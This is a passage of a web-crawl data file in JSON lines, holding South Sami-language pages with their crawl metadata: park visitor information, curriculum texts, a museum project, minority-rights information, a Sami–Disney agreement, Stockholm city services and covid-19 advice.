festivalen gi et faglig påfyll til både den samiske og øvrige befølkningen, samtidig som det legges opp til aktiviteter som passer for hele familien.\nFølg Tjaktjen Tjåanghkoe på Facebook","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/tjaktjen-tjaanghkoe.no\/om-oss\/","date":"2022-08-10T16:26:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571198.57\/warc\/CC-MAIN-20220810161541-20220810191541-00169.warc.gz","language":"sma","language_score":0.9847365022,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9847365021705627, \"sme_Latn_score\": 0.014294669963419437}","num_words":301,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Description\nPaannelaejpiesmeele lea akte dejstie maanalidteratuvren vihkielommes klassijhkerijstie jïh daelie Ellen Bull Jonassen dam åarjelsaemien gielese jarkoestamme.\nGærjesne gaavnesjibie gobpe Pehterem jïh altese gaahtoem man nomme Finduse mah aktene onne rööpses gåetesne årroeminie, snæhkeregåetine, vöönhtsengåetine jïh ohtjegåetine. Jeahtasåvva Pehtere lea ånnetje gaajegisnie, men almetjh dan jïjnjem soptsestieh. Fïerhten aejkien Finduse jaepiem illie dellie Pehtere aktem gaahkoem paannelaejpijste bååhkesje. Men daan aejkien ij leah vielie jaavvoste, jïh gosse edtja mïnnedh vielie jaavvoem åestedh, dellie sygkelen gaengkere lea raajkanamme, dïrregh leah leeseldh oksen duekesne jïh tjoevtenje lea prutnesne. Naemhtie Pehtere jïh Finduse jïjnjh haestemh dåastoeh åvtelen dah maehtieh reakedsbiejjiem heevehtidh.\nISBN:978-82-92649-20-6\nÅasa: kr 98,-, Porto kr 89, Kredikortavgift kr 5\nPaannelaejpiesmeele : 98 kr\n+ porto\/credit card fee\nDongkeme","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.e-skuvla.no\/ya\/product\/finddoza-riegadanbeaivi\/?add-to-cart=507","date":"2022-08-09T19:39:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571086.77\/warc\/CC-MAIN-20220809185452-20220809215452-00278.warc.gz","language":"sma","language_score":0.9999938011,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999938011169434}","num_words":111,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaksoesmieresne\nTjaangemesijjie Angsjö\nDatne maahtah bïjlem vuejedh sæjjan gusnie jårrelh desnie dïenesjegåetie gohtjegåetine. Daesnie aaj moerebaalka aalka mij jaksoes aaj stuerebe jårremestovline jïh jeenjemes 5 prosenth bæjjese. Baalka gullienaestien gåajkoe jïh desnie aernie jïh lïegkesesijjie baalkan mietie. Moerebaalka medtie 200 meteerh guhkies. Baalkan bealesne leah bïevnesh parhken bïjre, jårremespïele soptsesinie jïh aaj kaarhtereljieffe mij parhkem vuesehte.\nTjaangemesijjieh Häggsjö\nByjjes geajnoe tjaangemesæjjan gusnie dïenesjegåetie ohtjegåetine. Lïegkestimmiesijjie gusnie aernie jïh åenehks moerebaalka jïh dan baalte bïevnesh baalkaj jïh parhken bïjre. Baalka aaj desnie bietseste mij dïervesjamme jïh båeltiehtamme.\nBaalkah jïh ståapoeh\nDah baalkah leah soejkesjamme jïh gorredamme guktie maahtah skåajjesne vaanterdidh. Gåabpatjahkh tjaangemesijjijste maahtah aelkedh vaanterdidh. Dah baalkah eah leah seamma guhkies jïh naan dejstie ånnetji gïerve. Baalkaj mietie maahtah 35 km vaanterdidh. Daelvien maahtah Angsjö- jïh Svärmorståapojde tjoejkedh. Aelhkemes leah bïjlem vuejedh tjaangemesæjjan Angsjö jïh dellie Angsjön rastah tjoejkedh Angsjöståapose.\nFïerhten daelvien leah ståapojde \"moerevuejemeloedte\". Loedte mij jåhta Björkbäcken jïh Svärmorsbäcken mietie ij leah eatnamisnie mïerhkesjamme men lea aelhkies dåeriedidh Svärmorskojan gåajkoe. Båatsoeburrie jïh parhken reereme åadtjoeh skovhterem nasjonaaleparhkesne vuejedh.\nGeajnoeh\nDah daamhtaj geajnoem baeledh tjaangemesæjjan Angsjö. Olofssons Åkeri Bredträskesne lopmh baala nasjonaaleparhken gaavhtan seamma siente goh Flarkåvägen baala. Tjaangemesijjiem Häggsjö aaj baala seamma goh geajnoem voenese Häggsjö. Dah jeatajah skåajjebïjlegeajnoeh nasjonaaleparhkesne jïh dan lïhke ij leah ræhpas gaajhkide.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/guossidimdiededibme\/jaksoesmieresne\/","date":"2022-08-15T21:08:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572212.96\/warc\/CC-MAIN-20220815205848-20220815235848-00150.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":205,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohken identiteete jïh jïjtjeguvvie, mïelh jïh vuajnoeh mubpiejgujmie sjidtieh. Sosijaale lïereme sjædta dovne lïerehtimmesne jïh gaajhkh darjoeminie mah skuvle öörnie. Ij maehtieh faageles lïereme juekieh sosijaale lïeremistie. Fïerhten biejjien barkosne dan gaavhtan learohken faageles jïh sosijaale lïereme jïh evtiedimmie aktanieh.\nMaehtedh vïenhtedh maam mubpieh ussjedieh, demtieh jïh dååjroeh, empatijen jïh vïenevoeten våarome learohkh gaskemsh. Dialoge lea sosijaale lïeremen jarngesne, jïh skuvle edtja aarvoem jïh vihkelesvoetem goltelamme dialogine buektedh guktie vuastalimmiem gïetedidh. Gosse learoehkidie gaavnesjieh lohkehtæjjah edtjieh govlesadtemem jïh laavenjostoem madtjeldehtedh guktie learohkh mavvas sjidtieh jïh dah jearsoesvoetem åadtjoeh mïeledh jïh mubpiej gaavhtan vuastalidh. Lïeredh mubpide goltelidh jïh seamma aejkien jïjtje vuajnoeh buektedh learoehkidie vadta våaromem tsælloeh jïh ovsïemesvoetem gïetedidh, jïh loetemh ektesne ohtsedidh. Gaajhkh edtjieh lïeredh laavenjostedh, mubpiejgujmie barkedh jïh maehtelesvoetem evtiedidh meatan årrodh guktie hijven ektievoetem jïh byjresem sjidtieh. Guktie fïere guhte learohke lea meatan ektievoetese skuvlesne, dellie ektievoete meatan fïere guhte murrede, evtede jïh leara.\nHijven dööpmemefaamoe fïere guhtesne lea daerpies jis persovnevaarjelimmiem jïh respekte privaatejieliedisnie vaarjelidh. Jiehtegh mah respektehts jïh hatsven eah edtjh skuvlesne jååhkesjidh. Learohkh tjuerieh haarjanidh eensilaakan dåemiedidh jïh voerkesem evtiedidh dej jïjtse vuajnoej bïjre. Ovmessie govlesadtemehammoeh jïh teknologijenåhtoe dovne hijven jïh båajhtode sosijaale byjresisnie. Learohkh tjuerieh lïeredh deadteles dåemiedidh gaajhkene tsiehkine dovne skuvlen sisnie jïh ålkolen.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/sosial-laring-og-utvikling\/?kode=nor05-05&lang=sma","date":"2022-08-12T06:31:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571584.72\/warc\/CC-MAIN-20220812045352-20220812075352-00414.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":253,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":202,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Sijte\n- Location:\n- Snåsa, Norway\n- Client:\n- Saemien Sijte \/ Statsbygg\n- Project:\n- South sami museum and cultural centre\n- Building period:\n- 2021-2022\n- Area:\n- 1658m2\n- Architects:\n- Andreas G. Gjertsen and Ørjan Nyhem\nGodt plassert på Horjemstangen i Snåsa ligger det nye senteret bygget for sørsamene i Norge. Arkitekturen er preget av av naturmaterialer man kan finne igjen i den sørsamiske byggeskikken; treverk og stein. Bygningen er formet med et nysgjerrig skråblikk mot det samiske formspråket som ofte tegner seg tydeligst i tekstil og håndverkstradisjoner; konstruksjoner i tre som er lette og samtidig motstår naturkreftene, flettinger og repetisjoner som viser til samhold og naturtilhørighet. Kontakten med terrenget har vært viktig, derfor ligger bygningen lavt i terrenget, med det samlende ildstedet i sentrum.\nTjaebpies sijjesne Horjemnjuanesne Snåasesne dïhte orre jarnge mij lea tseegkesovveme åarjelsaemide Nöörjesne. Arkitektuvre lea mïerhkelgovveme eatnemen ïebnijste, mejtie maahta åarjelsaemien bigkemevuekesne gaavnedh; moere jïh gierkie. Gåetiem hammoedamme tjetskehke dåeriestjelmine dan saemien hammoegïelen vööste mij daamtaj tjyölkehkommes vååjnesasse båata tekstijle- jïh vætnoeaerpievuekine; konstruksjovnh moereste mah leah geehpes jïh seamma tïjjen eatnemefaamoej vööste gæmhpoeh, leahtajgujmie jïh repetisjovnigujmie mah sïemesvuakan jïh ektiedæmman eatnamasse vuesiehtieh. Ektiedimmie eatnamasse lea vihkele orreme, dan gaavhtan gåetie vuelehke tseegkesovveme eatnamisnie, aernine gaskoeh gåetiem gusnie tjåanghkene.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/fur.no\/works\/saemien-sijte","date":"2022-08-10T18:07:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571198.57\/warc\/CC-MAIN-20220810161541-20220810191541-00276.warc.gz","language":"sma","language_score":0.960413754,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9604137539863586, \"sme_Latn_score\": 0.02818267233669758, \"nob_Latn_score\": 0.01010163500905037}","num_words":193,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjædtoeh\nDejtie gïeh sjædtoeh lyjhkoeh gååvnesieh gellie ovmessie goebperh, burhvie jïh gïtnh jïh sjædtoeh Björnlanden nasjonaaleparhkesne. Aelkieh dennie dajvesne botanihkem goerehtidh jïh aajhtsedh jïh lohkh aaj mijjen inventeeredimmieh.\nGoebperh\n133 ovmessie goebpereaarhth leah gaavneme Björnlanden nasjonaaleparhkesne. Jeenjemes dejstie leah duvlieh mah moerine sjïdtedieh. 39 goebpereaarhth leah rööpses læstosne jïh gellie dejstie vuesiehtieh jolle vierhtieh skåajjesne.\nGïtnh gierkine jïh moerine\n195 aarhth gïtneste leah parhkesne gaavneme jïh 31 dejstie aarhtijste leah rööpses læstosne. Båeries moerh, nuvhlieh, saaljh jïh gierkieh leah gusnie gïtnh. Datne maahtah gaavnedh saaljen gïtnh, burhvieh gierkine jïh kaanne aaj onn'ohtje gïtnh nuvhline.\nTaigan sjædtoeh\nStoerre bielieh parhkeste sjïere sjædtoeh gååvnesieh mah båeries bietsie- jïh goesevuemine taigasne sjïdtedieh. Jokngh, linneah, kreeken-hïngsh, sirrieh leah sïejhme sjædtoeh. Bietsie-hagkesne torta jïh johki mietie foemh jïh gaajsegh. Dïhte beagkasommes sjædtoe Björnlanden nasjonaaleparhkesne lea ohtje viskessjædtoem. Ij dan soe jeenje dejstie men maahtah dam vuejnedh mij miehtjies goesepluevesne parhkesne sjïdtedieh. Pluevine desnie roenge roengesje jïh tjaebpies plienieh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.nationalparksofsweden.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/sjadtoeh\/","date":"2022-08-09T16:57:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571056.58\/warc\/CC-MAIN-20220809155137-20220809185137-00097.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":149,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale unnebelåhkoeh (sydsamiska)\nDatne lïhtseginie aktene Sveerjen vïjhte nasjonaale unnebelåhkojste – jurdarh, romerh, saemieh, sveerjesoemeladtjh vuj torneladtjh? Dellie dov leah sjïere reaktah jïh nuepieh gosse mijjine gaskesadth.\nDatne edtjh eejnegen maehtedh bïevnesh dov reaktaj bïjre åadtjodh, seamma mij nasjonaale unnebelåhkoegïelide datne soptsesth jïh gusnie Sveerjesne årroeminie. Jis datne tjïeltesne årroeh mij soemengïelen, meänkielin vuj saemiengïelen reeremedajvesne dov lea aaj reakta dejnie gïeline mijjine gaskesadtedh dovne njaalmeldh jïh tjaaleldh.\nMijjieh dov gïelem jïh kultuvrem vaarjelidh jïh evtiedidh\nMijjen barkoe lea dejtie nasjonaale unnebelåhkoegïelide vaarjelidh jïh evtiedidh jïh nasjonaale unnebelåhkoej nuepide dej kurltuvrem gorredidh jïh evtiedidh Sveerjesne. Mijjieh maanaj jïh noeri evtiedimmiem prioriteeredh dej kulturellen evtiedimmesne jïh dej jïjtje unnebelåhkoegïelen nåhtadimmesne. Mijjieh edtjebe aaj nasjonaale unnebelåhkojde nuepieh tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh jïh sjïehteleslaakan unnebelåhkoejgujmie dagkeri gyhtjelassine råårestalledh.\nLeeneståvroe Stuehkesne jïh Saemiedigkie stillemem ektesne utnieh ektiedidh jïh vaaksjodh guktie Sveerjen unnebelåhkoepolitihkem tjïrrehtidh laanten tjïeltine, regionine jïh åejvieladtjine. Saemiedigkie dïedtem åtna saemide jïh dejtie saemien gïelide, mearan Leeneståvroe Stuehkesne dïedtem åtna dejtie njieljie jeatjah unnebelåhkojde jïh unnebelåhkoegïelide.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.lansstyrelsen.se\/skane\/other-languages\/minoritetssprak\/nasjonaale-unnebelahkoeh-sydsamiska.html","date":"2022-08-16T01:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572215.27\/warc\/CC-MAIN-20220815235954-20220816025954-00708.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":79,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":165,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1995\nFaage\nISBN\nVi185\nTïjje\n01:16:00\nFormaate\nDVD\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nJaavoe\nDaennie gööktene programmesne båatsoe jïh gåatome mah jarngesne, jïh guktie jeenje jorkestovveminie båatsoen sisnjelen.\nVoestes programmesne (saemien: \"Minngemes juhteme\") vuejnebe guktie båatsoen sisnjelen jorkestovveminie. Åvtesne båatsoe jielemevuekie lij, jïh daelie jeatjahtovveme jïh laanteåtnoen plïeresadtjine sjïdteme – bearkoesjïdtedehtemen dïete. Dah båeries ovtetje sïjth, dillie goh geahken sïjten vihties gåatome aktene lehkesne, dah slaamin goh åajvaladtjh laakigujmie böötin mah gåatoemidie iktes tjåenghkies gåatoeminie darjoejin. Daate öörnege sisnjeles gæmhpoem jïh tsælloem båatsose buakta jïh beetnegefaamoe båatsoem aalka stuvrehtidh.\nMubpie programme (daaroen: Duften av paragrafen) gïetedalla mestie laante gåedtsie sjædta jïh gåatome melkien – jïh man åvteste båatsoen sisnjelen tsælloe. Dotkijh ïskeres guvvieh buektieh, satelitteguvvijste gidtjh vååjnoe Finnmarhken guevtelh melkien jïh dotkijh jaehkieh båatsose nåake båetije aejkie sjïdtedh. Båatsoem dam maam skultieh eatnemem biejstieminie.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/filbma_den-siste-flytteveien","date":"2022-09-30T22:10:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.37\/warc\/CC-MAIN-20220930212504-20221001002504-00305.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":133,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Mijjieh akte åålmege staateraasti dåaresth, men biejjieladtje mijjieh dan sveekes dejnie abpesaemien perspektijvine barkebe dan tjyölkehke goh mijjieh daennie barkosne dorjeme. Gieltege orreme haestieminie nierhkedh mijjen ektie eekereaktam aktede abpesaemien vuajnoste, saemiedigkiepresideenth Tiina Sanila-Aikio (Soeme), Aili Keskitalo (Nöörje), Per-Olof Nutti (Sveerje) jïh saemieraerien presideente Åsa Larsson-Blind jiehtieh.\nÅåkteme jïh jååhkesjimmie\nSnjaltjen 2019 Saemiedigkieh jïh Saemieraerie saarnoejin akte noerhtesaemien versjovne edtji filmeste Frozen 2 dorjesovvedh, goh illedahke laavenjostoste gaskem Saepmie jïh sïelte Walt Disney Animation Studios. Saemiedigkien jïh Saemieraerien gaavhtan lea vihkeles orreme gorredidh saemien kultuvre mij skraejrine orreme filmesjugniedæjjide filmen duekesne Frozen 2, ååkteminie jïh jååhkesjimmine gïetesåvva. Dan åvteste akte sjïere saemien tjiehpijedåehkie tseegkesovvi juktie filmesjugniedæjjide viehkiehtidh saemien kultuvresne, histovrijisnie, reaktine jïh seabradahkejieliedisnie vaaksjoehtidh mearan lin filmine barkeminie. Saemien barkoedåehkien nomme «Verddet» sjïdti.\n– Mijjieh garmerdibie mijjen «Verddet»-lïhtsegh mah faagedaajroem jïh sijjen sjïere dååjrehtimmieh buakteme daan barkoen sïjse, saemien presideenth jiehtieh.\nVerddet-dåehkesne Karen Anne Buljo, Veli-Pekka Lehtola, Cecilia Persson, Piia Nuorga, Christina Hætta jïh Anne Lajla Utsi meatan.\nSjïere nuepieh\nLatjkosne gaskem saemien åålmege jïh sïelte Walt Disney Animation Studios lea aaj jeatjah positijve lissiekonsekvensh saemien åålmegasse, goh faageles låtnome gaskemsh jïh maahtoeevtiedimmie. Gaajhke edtja aevhkine sjïdtedh saemien seabradahkese.\n– Daennie prosessesne libie tjoereme identifiseeredh mij lea vyörtegs mijjen seabradahkese ållesth, gaskem jeatjah utnebe råajvarimmieh mah maahtoem lutnjieh jïh potensijelle laavenjostoenuepieh saemien kultuvrebarkijidie goh vihkeles dåarjoe abpe Saapman. Mijjieh aavoedibie jienebh detaljh dan bïjre juekedh mænngan nuepieh bæjhkoehtamme sjidtieh, presideenth jiehtieh.\nJååhkesjamme latjkoe:\nAgreement between Walt Disney Animation Studios and the Sámi people (PDF, 8 MB)\nBiografije Verddet (PDF, 452 kB)","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/saemien-laavenjostoe\/laavenjostoe-sieltine-walt-disney-animation-studios\/laavenjostoe-sieltine-walt-disney-animation-studios-lissiekonsekvensh-saapman-vadta\/","date":"2022-10-05T11:41:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00527.warc.gz","language":"sma","language_score":0.9998729229,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998729228973389}","num_words":244,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuesiehtimmien gaavhtan libie aarhskuvlesne jïh skuvlesne, båeriesalmetjehïejmine jïh biejjiehoksesne. Mijjem aaj gaavnedidie gosse staaren mijjieh dejtie gaatide jïh tåarjide saedtiedibie jïh seeptjebe, gosse bigkieluhpiem ohtsedh, mijjen barkoetåarjine jïh årrojekontovrine mïnnh, biblioteekese jïh voejemegåatan.\nStaaren infrastruktuvre\nStaaren dïedte aaj raajnes tjaetsie dovne tjaetsiekraanesne jïh jaevrine jïh tjaetsiestraejmine utnedh, haaskoeh veedtjedh jïh guktie mijjen sïelkedahkh jïh staarhvoe juhtieh, guktie jieleme Stuehkesne bööremes nuepie åtna jieledh, guktie gåetieluhpieh bigkieh jïh faelieh mah klijmese buerie. Stuehkien aaj lea joekoen buerie digitaale infrastruktuvre mijjen ræhpas fijbereviermine mejtie daelie bigkeminie digitaale seabrdahkese jïh mij sagke buerebe edtja sjïdtedh.\nKultuvre jïh eejehtimmie\nKultuvre vihkeles jïh daerpies – dam faalebe vuesiehtimmien gaavhtan Kultuvregåetine, Stadsteaterisnie gusnie mahte tjuetie ovmessie programmetsiehkie jaepesne, Kultuvreskuvlen gaajhkh maanide jïh noeride, Stadsmuseeumisnie jïh Gaskeaalteremuseeumisnie jïh mijjen kåanstesavkesne Liljevalchs. Mijjieh dovne siebriejielemem jïh kultuvre-aktööride dåarjoehtibie guktie ektesne demokratiske jïh såakije staarem buektiehtidh. Gaarsjesijjieh, voejemegåetie, vïtnedimmiesijjie ålkone jïh kroenesdajvh jïh miehtjiereservaath leah muvhtem gusnie staare meatan jïh gaajhkh Stuehkien årroejidie buerie eejehtimmiem faala.\nDåarjoe gosse aehpesne\nMijjieh aaj dejnie giejnie gaavnedieh gosse aehpesne jïh sjïere dåarjoem jieliemisnie daarpesjieh. Maahta skuvlen kuratovre årrodh, gåetieluhpiedåarjoje, åelie-almetje jallh sosijaaletjaelije. Muvhten aejkien skïemtjelasseste, båajhtoehnuhtjemistie jallh naan jeatjah vaejveste, vuesiehtimmien gaavhtan jis baataramme dåarojste jïh goerpedajvijste jeatjede lehkeste veartanisnie. Muvhten aejkien aaj mij jeatjah mij dorje sjïere dåarjoem daarpesje.\nPolitihke jïh demokratije\nDatne maahtah meatan årrodh baajnehtidh. Datne jïh gaajhkh dah jeatjah Stuehkien årrojh gïeh åadtjoeh tjïelteveeljemisnie gïelem vedtedh, nænnoestieh gïeh dah edtjieh mijjen staarem stuvredh. Fïerhten gåalmeden måantan tjïeltefaamohke tjåanghkene Stadshuset sijjesne jïh datnem dahkoe böörie båetedh goltelidh man bïjre soptsestellieh. Dov staarebieliemoenehtse aaj tjåanghkoeh åtna mah gaajhkesidie ræhpas jïh dejtie maahtah raerieh jïjtje buektedh dagkeri bïjre maam sïjhth bueriedidh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/start.stockholm\/other-languages\/staare-stuehkie\/","date":"2022-10-04T01:00:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337446.8\/warc\/CC-MAIN-20221003231906-20221004021906-00388.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":269,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Besök 1177.se, logga in för personliga e-tjänster eller ring 1177 för sjukvårdsrådgivning.\nJeanatjommesh eah daarpesjh pryövenassem vedtedh jis dah symptovmh åadtjoeh mij maahta covid-19 årrodh. Mohte naaken tjuara dam darjodh. Jis datne hoksesne jallh voeresesåjhtosne barkh, voeresegåetesne årroeh jallh hïejmedïensjem åtnah.\nCovid-19 vijrusistie jeanatjommesh gïeh covid-19:m åadtjoeh skïemtjedieh goh sovhtine. Mubpieh itjmies skiemtjine sjidtieh jïh hoksem skïemtjegåetesne daarpesjieh.\nDaesnie raerieh dutnjien gie skïemtjelassem covid-19 åtnah. Raerieh dutnjien gie maahtah gåetesne årrodh jïh ih hoksem skïemtjegåetesne daarpesjh.\nBïeljelh hoksem jïh vïerrebe skïemtjedh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.1177.se\/sma-se\/Jamtland-Harjedalen\/other-languages\/other-languages\/covid-19\/","date":"2022-10-02T20:12:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337339.70\/warc\/CC-MAIN-20221002181356-20221002211356-00245.warc.gz","language":"sma","language_score":0.9999818802,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999818801879883}","num_words":80,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie edtja skreejredh demokratijen aarvoeh jïh demokratije goh stuvremehammoe. Dïhte edtja learoehkidie goerkesem vedtedh demokratijen spïelenjoelkedasside jïh man gaavhtan edtjede dejtie jåerhkedh nuhtjedh. Meatan siebriedahkesne årrodh lea maadtoen demokratijen aarvoeh respekteradidh jïh vaarjelidh goh sinsitnien respekte, toleraanse, fïere guhten jaahkoe- jïh soptsestimmiefrïjjevoete jïh frijje veeljemh. Demokratijen aarvoeh tjuerieh eadtjohke meatanårroeminie skreejredh ellies lïerehtimmesne.\nSkuvle edtja demokratijen aarvoeh jïh vuajnoeh skreejredh vaanesovmi jïh sïerredimmien vööste. Skuvle edtja aaj respektem skaepiedidh almetjh leah ovmessielaakan, jïh learohkh edtjieh lïeredh gærroedimmieh loetedh raeffies vuekine.\nDemokrateles siebriedahke tseegkie abpe åålmege seamma reaktah jïh nuepieh åtna meatan årrodh jïh sjæjsjalidh. Unnebelåhkoem vaarjelidh lea vihkeles prinsihpe demokrateles reaktastaatesne jïh demokrateles siebriedahkesne. Demokrateles siebriedahke aaj aalkoealmetjh jïh unnebelåhkoeh vaarjelidh. Aalkoealmetjeperspektijve lea bielie learohki demokratijelïerehtimmeste. Gaajhkh skuvleektievoetesne tjuerieh goerkesem evtiedidh dovne unnebelåhkoe- jïh stuerebelåhkoeperspektijvi bïjre jïh sijjiem skaepiedidh laavenjostedh, soptsestalledh jïh digkiedidh. Barkoe gellievoetem skreejredh akte bielesne jïh nubpiebealesne fïere guhte inkluderadidh kreava voerkes aarvoevuajnoem jïh profesjonelle goerkesinie gïetedidh.\nSkuvle edtja sijjiem årrodh gusnie maanah jïh noerh dååjrehtieh demokratijem praksisisnie, jïh dah maehtieh tsevtsedh, jïh dah maehtieh tsevtsedh aamhtesh mah dejtie dijpieh. Dah edtjieh dååjrehtidh jïh ovmessie hammoeh demokratijen meatanårromem tjïrrehtidh dovne aarkebiejjien barkosne faagigujmie jïh vuesiehtimmien gaavhtan learohkeraerien tjïrrh jïh jeatjah raerieåårganine. Soptsestalleme lohkehtæjjan jïh learohken gaskem, skuvlen jïh hïejmen gaskem tjuara våaromem utnedh jïh sinsitniem respekteradidh. Gosse learohke gïelem skuvlesne goltelidh, dellie dah dååjrehtidh guktie dah maehtieh jïjtje voerkes veeljemem darjodh. Dagkeres dååjrehtimmieh aarvoem utnieh daelie jïh daesnie, jïh learoehkidie ryöjredidh dïedtele siebriedahkeårroejidie sjïdtedh.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/opplaringens-verdigrunnlag\/1.6-demokrati-og-medvirkning\/?kode=mme03-02&lang=sma","date":"2022-09-27T02:41:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334974.57\/warc\/CC-MAIN-20220927002241-20220927032241-00195.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":258,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":237,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lägdanen aarhskuvle, Lägdans förskola\nMijjen visjovne lea – Mijjen aarhskuvle lea aktem sijjiem gusnie jearsoesvoete jïh aavoe övtiedæmman jïh lïeremasse lijrehte. Tjuetie gïeli gaskoeh mijjieh tåvsene nuepieh skaepiedibie!\nLägdanen aarhskuvle Myrvihkesne gååvnese jïh vïjhte goevtesh åtna. Aarhskuvlem lea orre bigkeme, tjuavkeds gåetie gusnie giedtie bïjre jarkan lea, desnie sovkedahkh, sygkelegeajnoe, gïerestallemedeava, dållesijjie jïh ovmessie stååkedimmiegaevnieh. Mijjen darjome Lpfö:m 